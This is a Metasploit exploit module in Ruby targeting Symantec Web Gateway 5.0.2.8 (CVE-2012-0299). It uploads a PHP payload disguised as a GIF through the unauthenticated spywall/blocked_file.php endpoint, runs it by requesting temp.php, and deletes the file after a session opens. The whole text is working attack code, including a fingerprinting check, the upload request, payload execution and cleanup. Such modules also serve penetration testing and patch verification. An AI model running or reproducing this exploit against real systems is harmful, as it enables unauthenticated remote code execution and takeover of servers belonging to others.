Symantec Web Gateway 5.0.2.8 - Arbitrary '.PHP' File Upload (Metasploit)

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info={})
		super(update_info(info,
			'Name'           => "Symantec Web Gateway 5.0.2.8 Arbitrary PHP File Upload Vulnerability",
			'Description'    => %q{
					This module exploits a file upload vulnerability found in Symantec Web Gateway's
				HTTP service. Due to the incorrect use of file extensions in the upload_file()
				function, this allows us to abuse the spywall/blocked_file.php file in order to
				upload a malicious PHP file without any authentication, which results in arbitrary
				code execution.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Tenable Network Security', # Vulnerability Discovery
					'juan vazquez' # Metasploit module
				],
			'References'     =>
				[
					[ 'CVE', '2012-0299' ],
					[ 'OSVDB', '82025' ],
					[ 'BID', '53443' ],
					[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-091' ],
					[ 'URL', 'http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120517_00' ]
				],
			'Payload'        =>
				{
					'BadChars' => "\x00"
				},
			'DefaultOptions'  =>
				{
					'ExitFunction' => "none"
				},
			'Platform'       => ['php'],
			'Arch'           => ARCH_PHP,
			'Targets'        =>
				[
					['Symantec Web Gateway 5.0.2.8', {}],
				],
			'Privileged'     => false,
			'DisclosureDate' => "May 17 2012",
			'DefaultTarget'  => 0))
	end


	def check
		res = send_request_raw({
			'method' => 'GET',
			'uri'    => '/spywall/login.php'
		})

		if res and res.body =~ /\<title\>Symantec Web Gateway\<\/title\>/
			return Exploit::CheckCode::Detected
		else
			return Exploit::CheckCode::Safe
		end
	end

	def on_new_session(client)
		if client.type == "meterpreter"
			client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
			client.fs.file.rm("temp.php")
		else
			client.shell_command_token("rm temp.php")
		end
	end

	def exploit
		uri = target_uri.path
		uri << '/' if uri[-1,1] != '/'

		peer = "#{rhost}:#{rport}"
		payload_name = Rex::Text.rand_text_alpha(rand(10) + 5) + '.php'
		before_filename = rand_text_alpha(rand(10) + 5)
		after_filename = rand_text_alpha(rand(10) + 5)

		post_data = Rex::MIME::Message.new
		post_data.add_part("true", nil, nil, "form-data; name=\"submitted\"")
		post_data.add_part(before_filename, "application/octet-stream", nil, "form-data; name=\"before_filename\"")
		post_data.add_part(after_filename, "application/octet-stream", nil, "form-data; name=\"after_filename\"")
		post_data.add_part("<?php #{payload.encoded} ?>", "image/gif", nil, "form-data; name=\"new_image\"; filename=\"#{payload_name}\"")

		print_status("#{peer} - Sending PHP payload (#{payload_name})")
		res = send_request_cgi({
			'method' => 'POST',
			'uri'    => "#{uri}spywall/blocked_file.php",
			'ctype'  => "multipart/form-data; boundary=#{post_data.bound}",
			'data'   => post_data.to_s
		})

		# If the server returns 200 and the body contains the name
		# of the default file, we assume we uploaded the malicious
		# file successfully
		if not res or res.code != 200 or res.body !~ /temp.php/
			print_error("#{peer} - File wasn't uploaded, aborting!")
			return
		end

		print_status("#{peer} - Executing PHP payload (#{payload_name})")
		# Execute our payload
		res = send_request_cgi({
			'method' => 'GET',
			'uri'    => "#{uri}spywall/images/upload/temp/temp.php"
		})

		# If we don't get a 200 when we request our malicious payload, we suspect
		# we don't have a shell, either.  Print the status code for debugging purposes.
		if res and res.code != 200
			print_status("#{peer} - Server returned #{res.code.to_s}")
		end
	end

end